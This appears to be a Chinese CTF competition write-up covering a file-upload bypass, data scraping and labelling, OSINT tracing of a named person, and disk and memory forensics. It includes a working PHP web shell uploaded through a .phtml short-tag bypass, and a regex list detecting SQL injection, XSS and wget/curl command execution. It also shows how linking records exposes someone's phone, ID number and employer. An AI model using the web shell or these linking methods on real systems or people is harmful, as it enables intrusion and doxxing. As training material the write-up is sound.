数据安全
ez_upload | @Rusty
明显考察的是文件上传漏洞，按顺序一个个试，先上传了个txt和png、jpg，都不行，然后试试php，也不行，看来对文件后缀的过滤很严格。最后测试phtml可以实现绕过
直接上传<?php发现会被拦截，经测试用短标签<?=可以绕过
参考链接：https://blog.csdn.net/m0_53008479/article/details/123366077
挂马 te.phtml
#te.phtml
<?=eval($_POST['ant'])?>
蚂剑连接找到rsa文件夹
/var/www/rssss4a
模型安全
数据预处理
网页数据需要从原始 HTML 结构，每个商品的链接为
http://47.117.186.154:32903/index.php?controller=product&action=detail&id=<:id>
id 为 1-500 的纯数字，因为有情感色彩分析，考虑用本地 ollama
先写一个数据抓取脚本，来抓取数据
from bs4 import BeautifulSoup
import csv
import httpx
from tqdm import tqdm
data_list = []
for i in tqdm(range(1, 501)):
html_content = httpx.get(f"http://47.117.186.154:32903/index.php?controller=product&action=detail&id={i}").text
soup = BeautifulSoup(html_content, 'html.parser')
# 获取商品信息
product_name_element = soup.find('section', class_='product-detail').find('h2')
product_name = product_name_element.text.strip() if product_name_element else ''
product_price_element = soup.find('span', id='productPrice')
product_price = product_price_element.text.strip() if product_price_element else ''
product_sales_element = soup.find('span', id='productSales')
product_sales = product_sales_element.text.strip() if product_sales_element else ''
product_description_element = soup.find('div', class_='product-description').find('p')
product_description = product_description_element.text.strip() if product_description_element else ''
# 商品ID
product_id = i
data_list.append({
'商品ID': product_id,
'商品名称': product_name,
'商品销量': product_sales,
'商品价格': product_price,
'商品描述': product_description,
'用户ID': -1,
'用户名': "Luminoria",
'电话': "1145141919810",
'UA': "NOT_A_UA",
'评论内容': "NO_COMMENT"
})
# 获取评论信息
reviews = soup.find('section', class_='product-reviews').find_all('div', class_='review-item')
for review in reviews:
reviewer_info = review.find('div', class_='reviewer-info')
user_id_element = reviewer_info.find('span', class_='user-id')
user_id = user_id_element.text.replace('用户ID：', '').strip() if user_id_element else ''
username_element = reviewer_info.find('span', class_='reviewer-name')
username = username_element.text.replace('用户名：', '').strip() if username_element else ''
phone_element = reviewer_info.find('span', class_='reviewer-phone')
phone = phone_element.text.replace('联系电话：', '').strip() if phone_element else ''
ua_element = reviewer_info.find('span', class_='user-agent')
ua = ua_element.text.replace('使用设备：', '').strip() if ua_element else ''
review_content_element = review.find('div', class_='review-content')
review_content = review_content_element.text.strip() if review_content_element else ''
data_list.append({
'商品ID': product_id,
'商品名称': product_name,
'商品销量': product_sales,
'商品价格': product_price,
'商品描述': product_description,
'用户ID': user_id,
'用户名': username,
'电话': phone,
'UA': ua,
'评论内容': review_content
})
# 写入 CSV 文件
csv_file_path = 'data.csv'
csv_columns = ['商品ID', '商品名称', '商品销量', '商品价格', '商品描述', '用户ID', '用户名', '电话', 'UA', '评论内容']
with open(csv_file_path, 'w', newline='', encoding='utf-8') as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=csv_columns)
writer.writeheader()
writer.writerows(data_list)
print(f"数据已保存到 {csv_file_path}")得到一个含有所有内容的 csv 文件，然后拿着这个 CSV 做题
数据标注与完整性校验 | @Luminoria
任务一（数据标注与完整性校验）：针对在线团购平台提供的原始用户评论数据，爬取用户评论数据，进行情感标注（正面/负面），并基于用户ID、用户名、手机号生成MD5签名以校验完整性。按附件模板和任务书要求提交处理后的submit_1.csv文件进行评分。
用 qwen 进行情感判断
import csv
import ollama
import hashlib
from tqdm import tqdm
def get_sentiment_from_ollama(text):
"""
使用本地 Ollama 模型识别文本的情感色彩 (正面/负面)。
Args:
text (str): 要分析的文本。
Returns:
int: 1 代表正面情感，0 代表负面情感，None 代表无法确定或出错。
"""
prompt = f"请分析以下评论的情感色彩，判断是正面还是负面。如果评论是正面的，请回答 '正面'，如果是负面的，请回答 '负面'。只返回 '正面' 或 '负面' 两个词，如果你认为是中性的，你应该回答 '正面'\n评论内容：\n{text}\n情感色彩:"
try:
response = ollama.chat(model='qwen2.5:7B', messages=[
{
'role': 'user',
'content': prompt,
},
])
sentiment_label = response['message']['content'].strip()
if "正面" in sentiment_label:
return 1
elif "负面" in sentiment_label:
return 0
else:
print(f"Ollama 无法识别情感: {sentiment_label}, 评论文本: {text}")
return None
except Exception as e:
print(f"Ollama 调用出错: {e}, 评论文本: {text}")
return None
def calculate_signature(user_id, username, phone):
"""
计算用户签名，使用 MD5 运算。
Args:
user_id (str): 用户ID.
username (str): 用户名.
phone (str): 用户手机号.
Returns:
str: MD5 签名字符串.
"""
signature_string = str(user_id) + username + phone
md5_hash = hashlib.md5(signature_string.encode('utf-8')).hexdigest()
return md5_hash
def process_comments_and_sentiment(input_csv_file, output_csv_file):
"""
从 data.csv 中读取评论数据，进行情感分析，并保存结果到 q1.csv。
Args:
input_csv_file (str): 输入 CSV 文件路径 (data.csv).
output_csv_file (str): 输出 CSV 文件路径 (q1.csv).
"""
output_data = []
with open(input_csv_file, 'r', encoding='utf-8') as infile:
reader = csv.DictReader(infile)
for row in tqdm(reader):
user_id = row['用户ID']
username = row['用户名']
phone = row['电话']
review_content = row['评论内容']
if username == "Luminoria": # 提取数据时产生的占位行，要忽略
continue
sentiment_label = get_sentiment_from_ollama(review_content)
if sentiment_label is not None:
signature = calculate_signature(user_id, username, phone)
output_data.append({
'user_id': user_id,
'label': sentiment_label,
'signature': signature
})
csv_columns = ['user_id', 'label', 'signature']
with open(output_csv_file, 'w', newline='', encoding='utf-8') as outfile:
writer = csv.DictWriter(outfile, fieldnames=csv_columns)
writer.writeheader()
writer.writerows(output_data)
print(f"评论情感分析完成，结果已保存到 {output_csv_file}")
if __name__ == "__main__":
input_csv_file = 'data.csv'
output_csv_file = 'q1.csv'
process_comments_and_sentiment(input_csv_file, output_csv_file)得到 q1.csv 改名 submit_1.csv 交了就行
数据清洗及特征工程 | @Luminoria
一样是使用 qwen2.5-7B 进行分类判断，其他正常清洗即可
import csv
import ollama
from tqdm import tqdm
def get_category_id_from_ollama(product_name, category_list_str):
"""
使用本地 Ollama 模型根据商品名称获取最合适的分类 ID。
Args:
product_name (str): 商品名称.
category_list_str (str): 分类列表字符串.
Returns:
str: 最合适的分类 ID，如果无法确定则返回 None.
"""
prompt = f"请根据商品名称 '{product_name}'，从以下分类列表中选择最合适的分类ID。只返回ID数字，不要返回其他文字。\n分类列表:\n{category_list_str}\n分类ID:"
try:
response = ollama.chat(model='qwen2.5:7b', messages=[
{
'role': 'user',
'content': prompt,
},
])
category_id = response['message']['content'].strip()
if category_id.isdigit():
return category_id
else:
print(f"Ollama 返回的分类ID不是数字: {category_id}, 商品名称: {product_name}")
return None
except Exception as e:
print(f"Ollama 调用出错: {e}, 商品名称: {product_name}")
return None
def clean_data_and_categorize(input_csv_file, output_csv_file):
"""
读取 data.csv 文件，进行数据清洗、商品分类和聚合，并将结果保存到 q2.csv 文件。
Args:
input_csv_file (str): 输入 CSV 文件路径 (data.csv).
output_csv_file (str): 输出 CSV 文件路径 (q2.csv).
"""
category_list = {
1: "手机", 2: "母婴用品", 3: "家具", 4: "书籍", 5: "蔬菜", 6: "厨房用具", 7: "办公", 8: "睡衣", 9: "宠物",
10: "运动", 11: "热水器", 12: "彩妆", 13: "保健品", 14: "酒水", 15: "玩具乐器", 16: "汽车", 17: "床上用品",
18: "洗护用品", 19: "五金", 20: "户外", 21: "珠宝", 22: "医疗器械", 23: "花卉园艺", 24: "游戏", 25: "园艺"
}
category_list_str = "\n".join([f"{k}. {v}" for k, v in category_list.items()])
product_data = {} # 用于存储商品信息和评论计数，key 是 商品ID
product_names = {} # 用于存储商品名称，key 是 商品ID，用于去重分类
with open(input_csv_file, 'r', encoding='utf-8') as infile:
reader = csv.DictReader(infile)
for row in reader:
product_id = row['商品ID']
product_name = row['商品名称']
product_sales_str = row['商品销量']
# 清洗销量数据
try:
product_sales = int(float(product_sales_str.replace(',', '')))
if product_sales < 0 or product_sales_str == '': # 空字符串也当做0
product_sales = 0
except ValueError:
product_sales = 0
if product_id not in product_data:
product_data[product_id] = {
'销量': product_sales,
'评论总数': 0,
'分类ID': None, # 初始分类ID为None
}
product_names[product_id] = product_name # 记录商品名称用于分类
if row["用户名"] == "Luminoria": # 提取数据时产生的占位行，要忽略
continue
product_data[product_id]['评论总数'] += 1 # 每次读取到同一商品ID的评论，评论总数加1
# 调用 Ollama 获取分类ID
for product_id, product_name in tqdm(product_names.items()):
category_id = get_category_id_from_ollama(product_name, category_list_str)
if category_id:
product_data[product_id]['分类ID'] = category_id
else:
product_data[product_id]['分类ID'] = '0' # 无法分类的设置为0或其他默认值
# 准备写入 q2.csv 的数据，并排序
output_data = []
for product_id in sorted(product_data.keys(), key=int): # 按照商品ID升序排序
output_data.append({
'ID': product_id,
'销量': product_data[product_id]['销量'],
'分类ID': product_data[product_id]['分类ID'] if product_data[product_id]['分类ID'] else '0', # 确保分类ID不为None
'评论总数': product_data[product_id]['评论总数']
})
csv_columns = ['product_id', 'sales', 'category_id', 'reviews_number']
with open(output_csv_file, 'w', newline='', encoding='utf-8') as outfile:
writer = csv.DictWriter(outfile, fieldnames=csv_columns)
writer.writeheader()
writer.writerows(output_data)
print(f"数据清洗、分类和聚合完成，结果已保存到 {output_csv_file}")
if __name__ == "__main__":
input_csv_file = 'data.csv'
output_csv_file = 'submit_2.csv'
clean_data_and_categorize(input_csv_file, output_csv_file)然后将保存的 submit_2.csv 提交就行
隐私保护与恶意检测 | @Luminoria
因为不存在需要 AI 判断的东西，所以直接用 re 抓关键词就行
import csv
import re
from tqdm import tqdm
import ollama
# 手机号脱敏函数
def desensitize_phone(phone):
digits = re.sub(r'\D', '', str(phone)) # 去除非数字字符
if len(digits) < 7:
return ''
return digits[:3] + "****" + digits[-4:]
# 恶意代码检测函数
def is_malicious(ua):
if not ua or ua.strip() == "NOT_A_UA":
return False
# 定义恶意代码正则表达式规则
patterns = [
# SQL注入检测
r';\s*(select|insert|update|delete|drop)\b',
r'\bunion\s+select\b',
r'\bselect\b.*\bfrom\b',
# XSS检测
r'<\s*script\b.*?>.*?<\s*/\s*script\s*>',
r'onerror\s*=',
r'onload\s*=',
# 命令执行检测
r'(\|\||&&|\$\(|\b(wget|curl|rm|ls|cat|echo)\b)',
# 代码执行检测
r'\b(eval|exec|system|passthru|shell_exec)\s*\(',
]
for pattern in patterns:
if re.search(pattern, ua, re.IGNORECASE):
return True
return False
# 统计有效行数
valid_rows = 0
with open('data.csv', 'r', encoding='utf-8') as f:
reader = csv.DictReader(f)
for row in reader:
if row['用户名'] != 'Luminoria':
valid_rows += 1
# 处理数据并收集结果
processed = []
with open('data.csv', 'r', encoding='utf-8') as f_in:
reader = csv.DictReader(f_in)
with tqdm(total=valid_rows, desc="Processing", unit="row") as pbar:
for row in reader:
if row['用户名'] == 'Luminoria': # 提取数据时产生的占位行，要忽略
continue
# 手机号脱敏
desen_phone = desensitize_phone(row['电话'])
# 恶意代码检测
ua = row['UA']
is_mal = is_malicious(ua)
code_check = 'FALSE' if is_mal else 'TRUE'
# 保存结果
processed.append({
'user_id': int(row['用户ID']),
'desensitization': desen_phone,
'code_check': code_check
})
pbar.update(1)
# 按user_id升序排序
processed.sort(key=lambda x: x['user_id'])
# 写入结果文件
with open('submit_3.csv', 'w', newline='', encoding='utf-8') as f_out:
writer = csv.DictWriter(f_out, fieldnames=['user_id', 'desensitization', 'code_check'])
writer.writeheader()
writer.writerows(processed)
print("处理完成，结果已保存至 submit_3.csv")然后直接交出来的文件就行
社会工程
张华强的公司名称 | @Luminoria @Ron
个人做法
在队友给了公司名的情况下，用脚本去搜题目提供的工商信息里面的内容
import os
import openpyxl
def search_keyword_in_excel(folder_path, keyword):
"""
遍历指定文件夹下的所有xlsx文件，查找包含关键词的行并打印。
Args:
folder_path: 包含xlsx文件的文件夹路径。
keyword: 要搜索的关键词。
"""
found_files = False # 标记是否找到包含关键词的文件
for filename in os.listdir(folder_path):
if filename.endswith(".xlsx"):
file_path = os.path.join(folder_path, filename)
print(f"正在处理文件: {filename}")
found_in_file = False # 标记当前文件是否找到关键词
try:
workbook = openpyxl.load_workbook(file_path)
for sheet_name in workbook.sheetnames:
sheet = workbook[sheet_name]
for row_index, row in enumerate(sheet.rows, start=1): # 从第一行开始，row_index从1开始
row_values = [str(cell.value) for cell in row] # 将单元格值转换为字符串，处理None值
if any(keyword in value for value in row_values if value is not None): # 检查关键词是否存在于行的任何单元格中 (忽略None值)
found_in_file = True
found_files = True
print(f" - 表单: {sheet_name}, 行号: {row_index}, 内容: {row_values}")
if not found_in_file:
print(f" - 未在文件中找到关键词 '{keyword}'。")
else:
print(f" - 在文件中找到关键词 '{keyword}'。")
except Exception as e:
print(f" - 处理文件 {filename} 时出错: {e}")
if not found_files:
print(f"在文件夹 '{folder_path}' 中没有任何文件包含关键词 '{keyword}'。")
if __name__ == "__main__":
folder_to_search = "gongshang"
keyword_to_find = "博林科技"
if not os.path.exists(folder_to_search):
print(f"错误: 文件夹 '{folder_to_search}' 不存在。请确保文件夹路径正确。")
else:
print(f"开始在文件夹 '{folder_to_search}' 中搜索关键词 '{keyword_to_find}'...")
search_keyword_in_excel(folder_to_search, keyword_to_find)
print("搜索完成。")在 data47.xlsx 中能找到相关的信息
正在处理文件: data47.xlsx
- 表单: Sheet1, 行号: 5216, 内容: ['99640928131194569978', '杭州市', '闵行区星辰信息技术园', '江苏博林科技有限公司']
- 在文件中找到关键词 '博林科技'。队友做法
import sqlite3
import os
import datetime
import csv
from collections import defaultdict
def get_db_path(date):
return f"./附件/rides/{date}.db"
def query_data(start_date, end_date):
current_date = start_date
user_rides = defaultdict(int)
while current_date <= end_date:
print(current_date)
db_path = get_db_path(current_date.strftime('%Y-%m-%d'))
if os.path.exists(db_path):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("""
SELECT name, phone
FROM location_data
WHERE strftime('%w', date) BETWEEN '1' AND '5'
AND name LIKE '张%'
""")
for name, phone in cursor.fetchall():
user_rides[(name, phone)] += 1
conn.close()
current_date += datetime.timedelta(days=1)
sorted_rides = sorted(user_rides.items(), key=lambda x: x[1], reverse=True)
return sorted_rides
if __name__ == "__main__":
start_date = datetime.date(2024, 12, 1)
end_date = datetime.date(2024, 12, 31)
results = query_data(start_date, end_date)
with open("result.csv", "w", newline="", encoding="utf-8") as file:
writer = csv.writer(file)
writer.writerow(["Name", "Phone", "Rides"])
for (name, phone), count in results:
writer.writerow([name, phone, count])
for (name, phone), count in results:
print(f"{name} ({phone}): {count} rides")
先用Python 拿到每个用户（用户名和手机号一致为一个）在周一到周五打车的数据条目数
发现138****9377遥遥领先
在db中翻找发现周一到周五都有打车，周末没有，基本符合 张某的生活习惯为：周一到周五从家打车去公司，周末无明显固定作息
在快递中搜索手机号找到数据
MF7297484562175167 2025-01-21 宋** 134****9281 **市**区******中心32楼兰金电子 张** 138****9377 **市**区******息技术园16楼博林科技
MF3442357592017816 2025-02-01 金** 188****9754 **市**区******来智汇园6楼易动力信 张** 138****9377 **市**区******息技术园16楼博林科技结合爬取的工商信息，提交张某所属公司的全称
答案为：江苏博林科技有限公司
张华强的手机号 | @Luminoria @Ron
个人做法
还是跑脚本
import os
import re
from bs4 import BeautifulSoup
from tqdm import tqdm
def extract_info_from_html(html_content):
"""
从 HTML 内容中提取手机号和身份证号。
Args:
html_content: HTML 文件的字符串内容。
Returns:
一个字典，包含 'phone_number' 和 'id_number'，如果没有找到则为 None。
"""
soup = BeautifulSoup(html_content, 'html.parser')
# 查找是否包含 "张华强"
if "张华强" not in soup.body.get_text():
return None
# 查找隐藏信息
hidden_info_div = soup.find('div', class_='hidden-info')
if hidden_info_div:
info_text = hidden_info_div.text
parts = info_text.split('|')
if len(parts) == 2:
phone_number = parts[0]
id_number = parts[1]
# 验证手机号格式是否为 138****9377
phone_pattern = re.compile(r'^138\d{4}9377$')
if phone_pattern.match(phone_number):
return {'phone_number': phone_number, 'id_number': id_number}
return None
def traverse_webpages(folder_path):
"""
遍历指定文件夹下的所有 HTML 文件，并提取信息。
Args:
folder_path: 网页文件夹的路径。
"""
for root, dirs, files in os.walk(folder_path):
for file in tqdm(files):
if file.endswith(".html"):
file_path = os.path.join(root, file)
try:
with open(file_path, 'r', encoding='utf-8') as f:
html_content = f.read()
extracted_data = extract_info_from_html(html_content)
if extracted_data:
print(f"在文件: {file_path} 中找到匹配信息:")
print(f" 手机号: {extracted_data['phone_number']}")
print(f" 身份证号: {extracted_data['id_number']}")
print("-" * 30)
except Exception as e:
print(f"处理文件 {file_path} 出错: {e}")
if __name__ == "__main__":
webpage_folder = "webpage"
traverse_webpages(webpage_folder)在文件: webpage\40\5840.html 中找到匹配信息:
手机号: 13891889377
身份证号: 61050119980416547X队友做法
使用 cat ./{文件夹ID}/*.html | grep -E "138[0-9]{4}9377|张华强" 逐个找信息，遍历文件夹ID，发现在40号文件夹出现结果
$ cat ./40/*.html | grep -E "138[0-9]{4}9377|张华强"
答案为：13891889377
张华强的身份证号 | @Luminoria @Ron
使用 cat ./{文件夹ID}/*.html | grep -E "138[0-9]{4}9377|张华强" 逐个找信息，遍历文件夹ID，发现在40号文件夹出现结果
$ cat ./40/*.html | grep -E "138[0-9]{4}9377|张华强"跟着第三题，一起出
61050119980416547X
张华强的车牌号 | @Luminoria @Ron
用OCR识别图片中的手机号
import os
import pytesseract
from PIL import Image
import re
def find_number_in_image(image_path, target_number):
try:
img = Image.open(image_path)
text = pytesseract.image_to_string(img, lang='eng')
pattern = r"\b" + re.escape(target_number) + r"\b"
match = re.search(pattern, text)
if match:
return text
else:
return None
except Exception as e:
print(f"处理图片 {image_path} 时出错: {e}")
return None
def main():
parking_folder = "./附件/parking"
target_number = "13891889377"
if not os.path.exists(parking_folder):
print(f"文件夹 '{parking_folder}' 不存在，请检查路径。")
return
found_in_images = []
c = 0
for filename in os.listdir(parking_folder):
c += 1
if filename.lower().endswith(('.jpg')):
image_path = os.path.join(parking_folder, filename)
result = find_number_in_image(image_path, target_number)
if result:
print(f"{filename}r : {result}")
found_in_images.append(filename)
print(f"{c} {filename}", end='\r')
if not found_in_images:
print(f"Noting Found")
if __name__ == "__main__":
main()在1357.jpg里面找到了手机号
数据分析
溯源与取证
硬盘取证 Word 恢复 | @Ron
DG打开img扫描删除的文件
用DG恢复文档
染色后找到flag
内存取证及日志分析 | @Ron
DiskGenius打开查看分区起始位置
使用Linux mount img文件
sudo mount -o loop,offset=32256 ./disk1.img /mnt #offset=512*63=32256
将7z文件复制出来解压得到内存镜像
使用voltality3扫描文件
vol -f ./WIN-IRBP5Q8F25I-20250306-172341.raw windows.filescan.FileScan > filelist.txt
发现log文件，dump下来
vol -f ./WIN-IRBP5Q8F25I-20250306-172341.raw windows.dumpfiles.DumpFiles --physaddr 0x7c23ba40
直接打开很明显的sql注入
故114.10.143.92即为攻击者IP